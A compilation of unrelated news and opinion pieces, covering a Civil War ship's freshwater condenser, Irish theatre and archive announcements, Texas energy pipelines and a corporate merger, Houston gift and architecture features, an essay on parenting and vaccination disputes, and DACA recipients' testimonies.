Captain Raphael Semmes wrote of Alabama: The vessel was very light, compared with vessels of her class in the federal navy, but this was scarcely a disadvantage, as [it] was purchased as a scourge of the enemys commerce rather than for battle.She had a 300 horsepower engine and a condenser to provide fresh water for the crew. Alabama remained at sea for 534 of 657 days of its time in commission. The ability to produce fresh water was critical, since its tanks could hold only an eight-day supply.

It is likely that the apparatus used on Alabama, known as a jet condenser, was one invented by French chemist Alphonse Rene le Mire de Normandy. The apparatus (shown on the opposing page) had three principal parts: an evaporator, a condenser, and a refrigerator or cooler. Steam from the boiler, which was under pressure and at a temperature exceeding the boiling point of atmospheric seawater, flowed through tubes surrounded by seawater in the evaporator. The seawater was heated to boiling and the resultant salt-free steam vapor flowed through tubes in the condenser that were surrounded by seawater. The output was distilled water. Normandy cleverly designed his system so the output of the evaporator absorbed enough air to improve its taste. The fresh water from the condenser flowed through the refrigerator, where it was cooled by seawater and then through a charcoal

filter to the ships tanks. [The jet condenser used by the famed Union ironclad Monitor is conserved at The Mariners Museum and Park in Newport News, Va.]

Alabamas ability to stay at sea for extended cruises is proof the apparatus worked. It did, however, require maintenance. Semmes recorded in August 1862, [O]ur fresh water condenser is about giving out, the last supply of water being so salt as to be scarcely drinkable. He likely had it repaired during a retrofitresupply stop in Cape Town, South Africa.

The introduction in the 1860s of surface condensers, which kept cooling seawater and exhaust steam separate, was another critical advance. In a surface condenser, cooling seawater flowed through tubes in the condenser casing. Exhaust steam from the engine flowed over the tubes, was condensed, and then pumped back as relatively pure water to the boiler. The elimination of salt reduced fouling of the boilers and permitted use of higher operating steam pressure. The use of the surface condenser brought with it the need for pure make-up feed water for the boiler (i.e., lost water could not be replaced by seawater, as in the past). This led to additional makers of suitable distillation equipment.

The mayhem Alabama caused on the worlds oceansprincipally to Union shippingover 22 months depended on its ability to access food, supplies, and potable water. It obtained much of the food and supplies from the ships it captured, but it was the shipboard production of drinking water that gave it

the flexibility to stay at sea for extended stretches. Alabamas storied career was possible only by the development of the salt-to-fresh-water conversion systems described here. By the end of the Civil War, potable water production using such condensers had become commonplace, found aboard ships of every type.

John V. Quarstein is the director emeritus at the USS Monitor Center in Newport News, Va. Gerry S. Hanley is a retired naval architect and nuclear engineer based in Williamsburg, Va.
Tomorrow (Wednesday, December 21) the Band Aid archive will be donated to the National Library of Ireland (NLI) by the Band Aid Trust.

When the Band Aid Trust closed its offices in 1991, it put all its paperwork and files into a 100-square foot storage unit in London. This collection will now be transferred to the NLI, where it will be catalogued, preserved, selectively digitised and exhibited. The archive includes hand-written letters, publicity materials, Trust correspondence and more.

The announcement will be made by Chairman of the Band Aid Trust, Bob Geldof; Minister for Culture, Heritage and the Gaeltacht, Josepha Madigan TD; and Director of the NLI, Dr Sandra Collins.

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Founded in 1984 by Bob Geldof and Midge Ure, Band Aid is a well-known collective of high profile musicians of different eras, who have covered the Christmas single 'Do They Know It's Christmas?' in aid of various charity causes.
Druids acclaimed production of 'Waiting for Godot' by Samuel Beckett will embark on extensive 12 week national and international tour in 2018

It will spending five weeks in venues across Ireland , including jar Town Hall Theatre, Galway; Lime Tree Theatre, Limerick; An Grianan, Letterkenny; Everyman Theatre, Cork; Backstage Theatre, Longford; National Opera House, Wexford; The Pavilion, Dun Laoghaire; Hawks Well Theatre, Sligo).

Tony Award-winner Garry Hynes directs members of the acclaimed Druid Ensemble Garrett Lombard, Aaron Monaghan, Rory Nolan and Marty Rea in The freshest, funniest and most affecting production of the play in at least a quarter of a century - The Irish Times.

Druids interpretation of Becketts masterpiece premiered in the 2016 Galway International Arts Festival, captivating both audiences and critics alike.

There wasnt a ticket to be had for the subsequent Unusual Rural Tour, which played in exterior locations Glencree, Inis Meain and the Ceide Fields.

The sell-out production earlier this year had a month long run at The Abbey Theatre in April prior to heading to Spoleto Festival USA in June, playing to capacity audiences at both venues.

Our 2016 Unusual Rural Tour showed us just how much of an appetite there is for this production so its great to take it to so many corners of the country, and internationally, in 2018. said Artistic Director, Garry Hynes.

Its also fantastic to continue working on this extraordinary show with members of our Ensemble and creative team who have created something very special.'

Audiences around the country will now have an opportunity to see this engaging new production, a theatrical Tour-de-Force from Ireland's premier independent theatre company. Tickets are limited, so early booking is advised.

This latest announcement demonstrates Druids continued resolve and capacity to bringing outstanding theatre to audiences throughout Ireland and to the international stage.

For full details on the tour visit www.druid.ie
Two new categories for the 2017 Awards have just been announced.

The categories of Best Ensemble and Best Movement Direction have been introduced for the next awards ceremony.

A third category has been modified, with Best Sound Design changing to Best Soundscape, recognising the wider variety of music and sound design elements that appear in modern Irish theatrical productions.

The new categories for The Irish Times Irish Theatre Awards are very exciting developments for us to work with, said Ella Daly, one of three judges for this years awards.

We have enjoyed the challenge of considering work with these new parameters. The introduction of Movement Direction has allowed us to consider and acknowledge for the first time the significant contribution ofmovement directors, stage directors and choreographers to the landscape of theatre.

Over the last number of years the judges have lobbied for the introduction of an ensemble award and we are delighted to introduce it for 2017.

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"This award will recognise work where the cast have been integral in the development of the piece and/or where the world of the play is achieved through the dedication and rigour of an entire cast in creating a shared language or landscape for the audience.

The judges are once again equal parts energised and humbled by the quality and quantity of work produced by Irish theatre in 2017, said Daly.

Over the last 12 months we have seen the sector across the entire island of Ireland, proving itself to be vibrant, thriving and ambitious.

This year saw TileStyle come on board as the new associate partner for The Irish Times Irish Theatre Awards for the next three years.

"We look forward to celebrating our first year as an associated partner of the Irish Times Theatre Awards next February. said Gerard McNaughton, the Retail Director of TileStyle.

We welcome the inclusion of the newly announced Best Movement Direction category. As we collaborate with the Irish Times over the next three years and build on our support of the arts, we hope to further engage with theatre practitioners and artists who continue to push boundaries, reinvent and develop their crafts.

"This constant reinvigorationreflects our own approach to design and innovation at TileStyle.

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The judges will meet in December to make their final selections and shortlists for this years awards. In addition to Ella Daly, the other two judges for this years competition are Catriona Crowe and Paula Shields.

The shortlists across the full 17 categories will be printed on January 13th, 2018 in Ticket, in the Saturday edition of The Irish Times.

For the first time, the ceremony on February 25th will also be live streamed by RTE on its RTE Culture site www.rte.ie/culture and supported on air by RTE Lyric FM.

Tickets for The Irish Times Theatre Awards are now on sale through nch.ie






The PDI Homicide Brigade of Chile is investigating the death of three people of Haitian nationality who were found dead in an address of the Santa Gertrudis , in the Coelemu, Nuble Region .





The fatal victims are a couple who shared a house on Pedro Aguirre Cerda street and who lit coal in a brazier to warm up the house due to cold temperature during the night.





A woman, who managed to survive and alerted the owner of the property, found the three bodies without life on a bed: 2 men and a woman. Apparently they would have died by inhalation of carbon monoxide.





" This was like at 08:30 in the morning, the one that was still alive told my wife about signs that something was happening inside and we went to see... " said Froilan Aguayo, owner of the property which the Haitian citizens rented .





The Police commissioner Luis Garrido, head of the Chilean Homicide Brigade , explained that "there is an investigation to determine, with the statements of the people, to know about the circumstances ."





"The concrete thing is that they would have died from this carbon monoxide poisoning, which should be determined in a legal medical examination by the proper autopsy," he added.





The PDI is registering the residents of the sector to gather information and obtain the identification of the victims, since they did not carry documentation at the time of the discovery.




Tellurian, a Houston liquefied natural gas company, is proposing a $7 billion network of pipelines to transport natural gas from West Texas shale fields to shipping hubs in southern Louisiana.

The system would transport natural gas from the Permian Basin in West Texas and Haynesville shale, which straddles East Texas and Louisiana, to pipelines servicing Tellurian's proposed Driftwood LNG export terminal south of Lake Charles in Louisiana.

The biggest question for the proposals is how Tellurian would finance the pipelines. Tellurian said it hopes to sign on enough customers to move their natural gas by late 2018. The goal is to complete construction in 2022.

The Driftwood LNG project, which is still seeking financing, wouldn't come online until 2022, if all goes as planned.

The Tellurian pipeline system is one of more than 15 proposed projects to expand or construct pipelines that will traverse Texas from the Permian Basin to Houston, Corpus Christi and Beaumont. Most of the pipelines are for crude oil or natural gas liquids.

More Information Tellurian's proposed pipeline network Driftwood Pipeline Route: Gillis, La. to Lake Charles, La. Cost: $2.2 billion Length: 96 miles Haynesville Global Access Pipeline Route: Northern Louisiana to Gillis, La. Cost: $1.4 billion Length: 200 miles Permian Global Access Pipeline Route: West Texas to Gillis, LA. Cost: $3.7 billion. Length: 625 miles See More Collapse

Tellurian's project is focused on dry gas. The other major announced natural gas pipeline projects from the Permian are the pending Gulf Coast Express and Pecos Trail pipelines to Corpus Christi. The Gulf Coast Express project is owned by Houston's Kinder Morgan and DCP Midstream, which is a joint venture between Houston's Phillips 66 and Calgary-based Enbridge. Pecos Trail is proposed by Houston-based NAmerican Partners, a 2-year old venture backed by private equity.

Tellurian was founded by Charif Souki, an LNG pioneer who turned Houston's Cheniere Energy into the nation's first LNG exporter. Souki was ousted from Cheniere last year after major shareholders objected to plans to focus on rapid growth rather than profits.

Tellurian CEO Meg Gentle, who joined Souki from Cheniere, said the proposed pipeline network would accommodate much of the anticipated 8 billion cubic feet a day in new natural gas demand expected in southern Louisiana by 2025 as LNG exports grow.

The planned Tellurian network would include three different pipeline projects. The largest, the Permian Global Access Pipeline, would run 625 miles from West Texas' Pecos County to Gillis, La. The proposed Haynesville Global Access Pipeline would travel about 200 mile from northern Louisiana to Gillis. And the previously announced Driftwood Pipeline would connect Gillis across 96 miles to the Driftwood LNG export terminal.

Gentle said Tellurian hired the project leader for the controversial Dakota Access Pipeline in North Dakota to head the Tellurian network. Joey Mahmoud, an executive vice president of Dallas-based Energy Transfer Partners, was named president of the Tellurian pipeline network.
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Pipelines are an important, necessary infrastructure that make modern life possible.

That's why I supported the Keystone XL, the Dakota Access and the Trans-Pecos pipelines. They are the safest and most economical methods for delivering oil and natural gas from the remote wells that produce energy to the population centers that require it.

RELATED: 109 reasons why we need pipelines, including Keystone

Taking away the power of local authorities to regulate and influence pipeline decisions, however, is contrary to the founding democratic and federalist principles of our nation.

All Americans should be outraged by recent moves by the Federal Energy Regulatory Commission to overrule states in approving or rejecting interstate pipelines. President Donald Trump's appointees are riding roughshod over state's rights to promote a pro-fossil fuel business agenda with little regard for local control.

As my Chronicle colleague James Osborne reported, FERC approved a natural gas pipeline despite a New York state commission rejecting it for environmental reasons. The feds decided in October that because the state took so long to approve or reject the project, that it should go ahead.

The decision was in keeping with the Trump administration's vow to speed up approval of energy infrastructure projects that environmentalists have tied up in the state approval process. The advent of horizontal drilling and hydraulic fracturing has boosted domestic oil and natural gas production and outstripped existing pipeline capacity.

RELATED: Pipelines are necessary for oil and gas

"We'd have all this production and no way to move it to market," Deputy Energy Secretary Dan Brouillette told the National Petroleum Council. "We're going to look very hard at that and determine where we might go, appropriately."

Indeed, what is appropriate? CEOs of pipeline companies are justifiably frustrated with a state and federal approval process that can stretch on for four years. Environmentalists use the courts aggressively to try to block every step in the approval process.

Opponents of energy infrastructure are infuriating in their unrealistic expectations. They don't want dirty, coal-burning power plants, but they hate expensive nuclear power. Neither do they want the pipelines necessary to build cleaner-burning natural gas power plants.

Some environmentalists love wind energy, but others get upset when high-voltage transmission lines mar their views or the spinning blades kill birds. Solar power is great, until someone has to pay for the panels and the batteries to stabilize the electricity grid.

And don't get me started on protesters driving their poorly-tuned, 10-year-old cars spewing carbon dioxide to voice opposition to fossil fuel infrastructure because they are worried about climate change. Save the planet, but buy a more efficient car.

We can also talk all day long about improving energy efficiency, but that would require higher electricity bills to make the investment worthwhile, and no one wants to pay more for the energy they take for granted.

RELATED: More spills prove need for new pipelines

For all of these reasons, decisions about pipeline and other energy infrastructure are best made as dispassionately as possible. That's why we have independent commissions like FERC and state public utilities commissions, because no one wants a pipeline running across their property or through their neighborhood.

Be careful, though, about taking any more public input out of the approval process. Political winds can shift, and what might be good for industry today could become detrimental tomorrow.

Citizens deserve to have a voice in these decisions, and many even have good ideas. The democratic form of government may be messy and inefficient, but it remains the best system around.
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Two Houston area energy engineering and construction firms said Monday that they have struck a deal to merge in an all-stock deal that would create a company with a market value of about $4 billion.

The merger aims to combine the offshore and international expertise of McDermott International of Houston with the onshore strengths of CB&I, which has emphasized U.S. markets. Under the deal, expected to close in the second quarter next year, McDermott would own 53 percent of combined company and CB&I 47 percent. The companies have yet to decide on a new company name or headquarters location.

McDermott has stock market value of $2.16 billion, while CB&I is valued at $1.82 billion. Together, they generate about $10 billion in annual revenues.

McDermott Chief Executive David Dickson, who will remain CEO of the combined company, said the merger will allow McDermott to grow, diversify its markets, and advance technologies. He added that the companies are a good fit because they're both large engineering and construction firms specializing in energy.

"I think we surprised a lot of people, but it's obviously something we've been working on for quite some time," Dickson said in an interview Monday.

The deal falls in line with the recent consolidation in the industry, following the brutal oil bust, the trend towards offering energy production companies integrated engineering and construction services. Earlier this year, the French company Technip and Houston's FMC Technologies merged, as did Dallas-based Jacobs Engineering with Denver's CH2M.

McDermott has focused on offshore oil and gas development in the Middle East and Asia while CB&I has emphasized the U.S. market, particularly in liquefied natural gas, petrochemicals, refining and power generation projects.

Both companies have struggled in the wake of the oil bust. While McDermott has rebounded recently because of its growth in the Middle East, CB&I's difficulties have continued. CB&I has cut some 30,000 jobs over the past three years after peaking at 56,000 workers in 2014 when it acquired the Baton Rouge company Shaw Group.

McDermott also slashed jobs as its business in the Gulf of Mexico suffered, but the company has thrived of late by focusing on the Middle East and Asia. McDermott now is Saudi Arabia's largest offshore contractor, Dickson said. More than 90 percent of McDermott's revenues now come from the Middle East and Asia. CB&I still collects more than 75 percent of its revenues in the U.S.

Dickson said the merger talks heated up at some point after CB&I announced in August that it planned to sell its technology business to help pay down debt while narrowing its focus. McDermott's interest in the technology division eventually expanded into merger negotiations.

McDermott will control six of the 11 board seats on the combined company, with McDermott Chairman Gary Luquette remaining the non-executive chairman.

Dickson said the new corporate headquarters and company name will be decided next year. McDermott's Energy Corridor headquarters flooded during Hurricane Harvey and the company has since operated out of former offices of GE Oil & Gas, which merged in July with the Houston oilfield services company Baker Hughes in July.

CB&I CEO Patrick Mullen said he will leave the company after he assists with the transition process.
It's crunch time for holiday shopping. You know it, and I know it.

So, what are you going to do? Shop local.

Here's a roundup of gift items from Houston designers and boutiques that will make someone's season brighter.

Functional and fun

Crossbody and clutch bags are a fun way to perk up a wardrobe, particularly if one doesn't want to carry a bag with everything off the bathroom dresser. Houston designer Elaine Turner has crafted some stylish options that incorporate her love for color and animal prints. Her wallet crossbody is $148 and Bella clutch is $178-$198. Pop on one of her Tassel Key Fobs, $38 each, for a bit of whimsy. Also, the Gigi flats, $198, are perfect for the woman with every shoe under the sun. Each is available at Elaine Turner boutiques (there are four) and elaineturner.com.

Warm and chilled

We've been waiting patiently to say goodbye to the heat and humidity. Now that there's a chill in the air, it's time to break out the scarves. If you're like me and prone to lose them, you don't want to spend a lot. French Cuff, with three Houston locations (Bellaire, Town & Country and Woodway), has a budget-friendly one at $35. And if you want a sophisticated accent, try the Presmer "Kate Cuff" in Pewter, $65, or the Presmer "Renee" crossbody bag, $158, with a portion of the sales going to Hurricane Harvey relief.

So Chloe

Two things we know about Houston designer and "Project Runway" Season 2 winner Chloe Dao is that she loves this city, and she's a master of practical, chic fashion. So for the holidays, Dao has two gifts that showcase just that: a gold-toned "Houston" necklace, $24, and her Aya scarf, $68, which can be worn 14 different ways. Both are available at Chloe Dao boutique, 6127 Kirby in Rice Village.

Ethical style

If you are looking for a gift with cultural roots, Luvi Wheelock, owner of Atrium, 2040 W. Gray, has it: the Mola Sasa handbags, which are designed by Colombian-Egyptian designer Yasmin Sabet and the indigenous Kuna women of Colombia. Sabet began as an architect and furniture designer before launching her luxury brand, which seeks to empower local artisans and design products that respect tradition. The bags are $410-$480.

Body talk

Save the traditional massage for another holiday. Time to treat her or him with something extra special, such as Hiatus Spa & Retreat's The Peace, Love, & Joy, which includes the signature massage, the Tailor-Made Facial and The One & Only Mani-Pedi. It's $269 (a $320 value). Or try The Warm & Cozy, which offers a 90-minute hot-stone massage with a mani and pedi, $219 (a $275 value). The spa is at 5740 San Felipe, 713-470-0990.

Fashion forward

Terin Matlock's super-cute boutique, Luxington, has become a favorite with women who like effortless style. Among her holiday offerings is the Kenzie turtleneck by Paige, $130. While you're in the store, check out Matlock's denim offerings and her cozy chunky knitted blankets for gifts (those are going fast). 1700 Post Oak Blvd., Suite 2, by North Italia.

Resort wear

The Houston-based Mirth brings the easiness of caftan style to day wear with the resort Vana Tassel Dress, $165, available at St. Cloud at three locations: Rice Village, West Gray and in River Oaks District, or at mirthcaftans.com.

Ringing in the bling

For more than 20 years, Jay Landa has traveled the world scooping up inspiration for his jewelry boutique. For the holidays, check out the Sterling Silver Diamond Oval Earrings, $744, Hammered Brass Druzi Ring, $55, 16-inch Oxidized Sterling Silver Necklace with Small Diamond Horn, $155, and classic diamond rose-cut bangle, $400 (on sale). Available at J. Landa, 2412 Rice.

Wall decor

Like Landa, Lloyd Gite trots across the globe, especially throughout Africa, searching for eclectic artwork and home accents for his Third Ward gallery. These straw baskets are handmade in Kenya. $45 each at The Gite Gallery, 2024 Alabama.
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The Le Meridien hotel, clad in turquoise panels, glows green at night, a colorful landmark in a downtown that's been busy with construction in recent years.

Cranes building new skyscrapers and high-rises have dotted the landscape, but this luxury hotel was a completely different kind of project - the restoration of the 21-story Melrose Building on Walker Street, which saved what was the first modern office tower in Houston. Designed in the early 1950s by the Lloyd & Morgan architecture firm and its creative director, Arthur Evan Jones, the building won a medal of honor from the Houston chapter of the American Institute of Architects in 1953.

Jones and the firm at which he became a partner in 1961 - it was Lloyd Morgan Jones in one of its iterations through the years - are the subjects of Ben Koush's new book, "Constructing Houston's Future: The Architecture of Arthur Evan Jones and Lloyd Morgan Jones," sponsored by Houston Mod.

Koush, a Rice University School of Architecture graduate, first became acquainted with Jones when he wrote a story about him for Rice's Cite magazine a decade ago.

Jones was in his 80s then, and Koush met with the modest and soft-spoken man four or five times for that article. Years later, a family member approached Koush about writing a book about Jones, hoping to preserve his legacy and document his contribution to Houston's early modern scene, including his often overlooked role in the design of the Astrodome. Jones was 91 when he died in 2014.

Houston Mod, the nonprofit that works to promote and preserve modern architecture in the city, got onboard to publish it as the latest in their series of books about notable modern architects. Other Houston Mod books have focused on the work of Hugo V. Neuhaus Jr., the Neuhaus & Taylor architecture firm, Donald Barthelme and William R. Jenkins.

Koush's new book has already garnered attention, winning a 2018 Good Brick Award from Preservation Houston.

Anyone not immediately familiar with Jones' name or the firm's work will have an "aha" moment at a list of some of their most prominent buildings: the Astrodome (1958-65; with Wilson, Morris, Crain & Anderson); the American General Building (1962-65) on Allen Parkway, Smith Tower (1989) on Fannin, Three and Four Allen Center (1977-80/1984), Greenway Plaza, Summit Towers North and numerous buildings at Rice University, including Rice Stadium (1949-50; since altered).

In addition to documenting the firm's subtle application of modern architecture principles, Koush captures the culture of Houston's builders and developers through various boom and bust eras.

More Information 'Constructing Houston's Future''The Architecture of Arthur Evan Jones and Lloyd Morgan Jones,'by Ben Koush Details: available at houstonmod.net, Brazos Bookstore, the Museum of Fine Arts, Houston, the Menil Collection, the River Oaks Bookstore and atChrist Church Cathedral Book signing: Preservation Houston will sponsor a talk and book signing at 6:30 p.m. Jan. 16 at Congregation Emanu El,1500 Sunset; $5 general admission; free for Preservation Houston members. See More Collapse

The Lloyd Morgan Jones firm did some residential work and always had Rice University as a major client, but it was its relationships with developers - Melvin Silverman and Kenneth Schnitzer and, to a lesser degree, Gerald D. Hines - that established the firm as a major force.

Silverman arrived in Houston in 1943 and hired Hermon Lloyd, who then worked alone, to design a home for his family in Riverside Terrace. Soon, Lloyd and his new business partner, William Morgan, became Silverman's go-to architects.

With business partner Bennett Rose, Silverman built the Melrose Building, and the competitive spirit between Silverman and Jones pushed them to achieve more together than they could have individually, Koush said.

"He was their first patron, and he's an interesting guy, but he died suddenly from a heart attack in the middle of his career. Who knows what he would have ended up doing had he been around a lot longer," Koush said of Silverman.

In his book, Koush describes the firm as prominent and progressive, and Lloyd was the big personality who built important business relationships. Jones, its creative director, leaned on classic modern design with Latin American influences.

One example was to use solar shading devices since air conditioning was still relatively new and wasn't very efficient. On the Melrose building, for example, 4-foot-wide, cast-in-place concrete shades were designed to protect its steel casement windows from the blazing summer sun from 10 a.m. to 3 p.m.

Jones wasn't without ego, and sized up other architects or projects harshly at times, Koush said.

"When the post-modern stuff came out, Arthur was horrified. Putting decorations on buildings  he couldn't understand why anybody would do that," Koush said.

Phillip Johnson's Galleria landmark Williams Tower - originally called Transco Tower - drew conflicting reviews from Jones, he said.

"He'd say 'I hate post-modern architecture,' but at the same time he liked Transco for all of its class; it was prismatic," Koush said.

Rice University proved to be Lloyd Morgan Jones' biggest client. On campus, they designed not only the famed Rice Stadium, but also the Mary Gibbs Jones College, the Cohen House addition (since altered), Jones College master's house (demolished) and Sewall Hall.

Perhaps one of the firm's best-known buildings, now known as 1400 Smith Street, was, at one time, part of the Enron complex. At the time of its design, the building was called Four Allen Center and the architecture firm was known as Lloyd Jones Brewer and Associates.

When the building was completed in 1984, the director of the Museum of Modern Art's department of architecture, Arthur Drexler, visited Houston and praised the work so highly that it drew international attention. The building was of late modern design and Drexler was a vocal proponent of the aesthetic.

"It is the most beautiful mirrored-glass building I have ever seen - absolutely staggering," Drexler said in a story that ran in Art in America in 1984. "I called up the architects, and they were also sort of puzzled and hurt that nobody else had noticed it. There they are alone in Houston, bravely doing modern buildings."

Koush hopes his book will raise awareness of the firm's work to a new generation of architects and will help the general public identify the buildings they may drive past daily.

"I think the thing was that Lloyd Morgan Jones were so understated  and they weren't flashy," he said.

Their reputation brought success.

"They were proud that they never had to advertise," Koush said. "Everyone knew they did good work."
My son saw a doctor 28 times before he turned 1 year old - roughly once every two weeks. It was miserable but not wholly unexpected. I knew when he started day care he would get sick; I just didn't know how much. With every illness came the gut-wrenching reminder that I couldn't protect him from everything, and equally awful: I knew he would probably infect others, too.

As a public health professional with a decade of infectious disease experience, I knew how to take precautions, but diseases can be passed on before symptoms appear, and you can't put your kiddo in a bubble - no matter how much you'd like to.

So we passed on play dates for fear those sniffles were the start of something worse. We left parties early or missed them entirely. And we asked some pretty uncomfortable questions: Did you wash your hands? Can we postpone until after his cough clears? Are your kids vaccinated? Are you vaccinated?

Reactions ranged from disappointment to indignance, and it was a lonely and often contentious time for my young family. In my quest to shield my kid from germs - and his germs from other kids - I lost my village for a while.

The impact of this sort of social withdrawal for adults is much more than just being a little lonely. Studies have shown feeling socially isolated may have a negative impact on one's physical and mental well-being. Most notably, it can elevate stress hormones in your body - something I think we can all agree parents get plenty enough of already. For women in the postpartum period, these effects can be particularly dangerous. Research has shown that new moms who feel isolated from their friends and family are at a higher risk for postpartum depression, a potentially serious mental health condition that affects roughly 1 in 9 women.

But you don't need research to tell you how awful it can be to lose friends or to fight with family. We parents often need our support system to keep us afloat when we feel overwhelmed or exhausted. Yet at the same time, we are tasked with protecting the health and safety of our kids. When you've waited in your pediatrician's office for the third time that week, it can feel like balancing our duties as parents with our own needs for social connection is an impossible task. For families with medically fragile children, it can be a matter of life or death.

When Amy, a mom in Seattle, found out her daughter, Annabelle, would be born with a birth defect that compromised her heart and lung functions, she knew she would have to take precautions. Newborns are already vulnerable as they work to build their own immune systems, but Annabelle would have an even harder time fighting off an infection. The family instituted a strict policy: Everyone had to get vaccinated against whooping cough and flu, and no one could be around Annabelle if they had been sick recently. While her friends and family were happy to comply, they often ended up canceling plans out of an abundance of caution.

"I think, when you're home with a newborn, you really look forward to those occasional meetups with friends or having someone over to visit," Amy said. "It was hard to feel so isolated during an already isolating time as a new parent."

For medically vulnerable kids, diseases like the flu can be very dangerous, said Susan Wootton, a pediatric infectious disease specialist and associate professor at the University of Texas McGovern Medical School in Houston.

Not only are young children's immune systems still developing, but anatomically their little bodies just can't handle diseases as well as larger kids and adults. With small windpipes and still-strengthening diaphragms, they can't breathe or cough as effectively, and as a result are at higher risk of hospitalization or death.

"You can die from these infections," Wootton said. But, she continued, "we're not trained to tell families to keep their babies in a bubble." Common sense measures, like the ones put out every year by the Centers for Disease Control and Prevention, are a great guide to help keep kids safe - things like getting vaccinated on time and according to the recommended schedule, washing your hands frequently, and staying home and away from kids when you're sick.

A frequent source of tension among parents is the issue of vaccines. The CDC and American Academy of Pediatrics strongly support vaccination and recommend a childhood immunization schedule that can protect against 16 potentially dangerous diseases, like measles and influenza, as well as seven different types of cancers. But not all families agree with these recommendations, and many feel so strongly about their stance that it becomes a dealbreaker in their adult relationships.

One Michigan mom I spoke to said that some parent friends in her local support system stopped speaking to her after she posted a pro-vaccine article on Facebook.

Another in Colorado told me she ended a friendship after another parent who opposes vaccines brought her child to a play date despite being sick with whooping cough.

A similar situation occurred in Texas, when a mommy's group had a falling out after a vaccine-opposed member attended an event with an active case of whooping cough and exposed pregnant women and moms of young children to the disease. The experience led some to become more involved with local immunization advocacy organizations like Immunize Texas, where they would befriend other pro-vaccine parents.

Another mom living in Minnesota shared how her daughter's doctor recommended using a modified vaccination schedule after multiple allergic reactions to a vaccine - a rare but occasional occurrence. The mom's family, which included several medical professionals, didn't agree with the decision and stopped inviting her to events, citing concern her daughter wasn't caught up on all the routine vaccinations. The event happened roughly a decade ago, but she said her relationship with some of her family members hasn't been the same since.

Mother after mother told me about friendships ending because of a desire to protect the health of their children.

Karen Ernst hears these stories often in her role as director of the parent-led organization Voices for Vaccines - so much so that the organization put together a guide for families worried about navigating tough conversations with loved ones who oppose vaccines or have concerns about vaccinating.

A frequent source of conflict involves parents wanting family and friends to get vaccinated in anticipation of a new baby and encountering resistance. In those instances, Ernst said there are steps new parents can take to protect the health of their child while still maintaining their relationships.

"You really do have to be firm, especially if it's during flu season . . . but you don't have to be mean," Ernst said. "You can be kind and firm."

For parents concerned about pushback or contention, Ernst recommends recruiting "a champion" to help step in on their behalf in the event the conversation gets heated or the new parents get overwhelmed. Explaining the dangers unvaccinated people pose to the baby is often sufficient to encourage loved ones to get vaccinated and stay away if they might be sick, she said. If friends and family still aren't willing to comply with parents' request, concerned parents can always suggest interacting via Skype instead, telling loved ones: "We want to be connected to you. We just don't want to get sick from you."

Ultimately, the decision to walk away is a deeply personal one. Becoming a parent complicates adult relationships in myriad ways. Parenting styles can clash; values can differ. Weighing the risks and benefits of staying connected is something every family must do for themselves.

That being said, protecting your family's health doesn't have to mean closing yourself off to the world. Some balance must be struck between social health and physical health. Or as Ernst put it: "Parents should do everything they can, but they should also live their lives."

- - -

Correll is a journalist, public health professional and mom of two. Follow @robyncorrell on Twitter and Instagram.
It was a few days before Thanksgiving when Rodrigo Huertas, digital organizer for United We Dream, tweeted to the world: "Quote Retweet this with the date when your #DACA expires & how many days you have remaining until then. We have to SHOW that our lives are at stake!"

Within a few hours, young immigrants began replying: 131 days, 112 days, 18 days. More than 100 have shared the date when their lives would change forever.

For immigrant youth with DACA, each day that goes by means they're closer to losing their jobs, not being able to afford college and being exposed to deportation.

"The anxiety our immigrant community is experiencing is real, but I wanted to turn that anxiety into power," said Huertas. "The power that immigrant young people have right now is sharing our stories to show members of Congress that delaying a clean Dream Act means deportation. We need a Dream Act on Dec. 22."

Some of these urgent stories come from Houston immigrant youth.

Nicole Robles, born in Mexico, fewer than 100 days

"My family migrated to the United States when I was 6 months old. And now I face deportation. In fewer than 100 days my DACA will expire. I'm anxious, because I'm graduating high school in a few months, and I want to start college in August of next year. How will I do that without my DACA?

CIVIL SOCIETY: Can Houston move past the 'melting pot'?

"There are so many barriers to higher education when you're undocumented. With a clean Dream Act, undocumented students will have a sense of security and opportunity to get a job, to care for their families, to continue their studies in college or university.

"I want that security and opportunity. We deserve that. And we need Congress to act by the end of the year so that more people don't reach their expiration dates."

Damaris Gonzalez, born in Mexico, zero days

"Time is ticking fast, and my family can't wait anymore  I can't wait anymore. Every minute is against me and the 122 DACA recipients who are losing their benefits every day. More than 11,000 immigrant young people are now at risk of deportation, and we've been condemned to a life of darkness and broken dreams.

"My life changed after Hurricane Harvey shutdown my employer, and my DACA expired before I could renew it in early September. I, and nearly 22,000 other immigrants like me, live in Texas Congressional District 7, represented by Congressman John Culberson. He's one of the many politicians young people like me need to get on board and pass a clean Dream Act by December 22."

Michelle Avendano, born in Mexico, fewer than 300 days

"DACA has changed my life. Being able to live without the chance of deportation, having greater opportunities for my education, has put me on a path for a future that I can take excitement and pride in and help me build a better life for myself and my family.

"I migrated here with my family as an infant, leaving a country that offered my parents little-to-no opportunities, and allowed me to achieve an education and go to college, and the Dream Act would help reach my goal of earning a PhD in neuropsychology.

"Here in Texas, we have experienced a surge in racist legislation that puts all of this in jeopardy for my family. If the Dream Act is not passed by next Friday, by this time next year, I will be at risk for deportation myself. And everything that I have been able to achieve could be lost.

TIME TO ACT: What to do with Dreamers? Keep them here.

"I am motivated by the power of my community and am excited to be headed to D.C. this week, joining young people from across the country to pass a clean Dream Act. When our community is under attack we do not back down, we unite and fight back."

Christian Urrea, born in Mexico, fewer than 200 days

"I migrated to the United States as a child, and thanks to DACA, I have been able to work and drive so that I can earn for my education and help my family financially.

"I'm in the fight for a clean Dream Act because, since Trump killed the program, my life depends on it. If SB4 comes into full effect in Texas, and the Dream Act is not passed by December, it could mean that without DACA, a university police officer could pull me aside and make me prove my immigration status, or I could otherwise be pushed into deportation proceedings.

"The fight for the promise that DACA gave us has never been more urgent. I'm traveling to Congress this week to demand they pass a clean Dream Act before they go home for the holidays. We need a clean Dream Act now!"

A DACA beneficiary, Oscar Hernandez was born in Puebla, Mexico, and migrated to Texas when he was 2. He is the lead field organizer for United We Dream Houston.

Bookmark Gray Matters. 131 days, 112 days, 18 days.
Ucoms mobile customers will benefit from the best internet roaming rate of 8 AMD/MB when travelling to Georgia, Egypt or the UAE

Ameriabank Launches Google Pay and Google Wallet Support for Card Users in Armenia

Karen Vardanyan donated 112 million drams for the medical equipment for National Center for Infectious Diseases.

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Mikayel and Karen Vardanyans provided 136 million AMD support for the overhaul of the Myasnikyan statue, which was in unsafe state of disrepair

Believe me, as a representative of a country which uses the Schengen system very often, it is quite important. Vardanyan

I really look forward to having answers from the Azerbaijani side for these alleged gross human rights violations: Secretary General

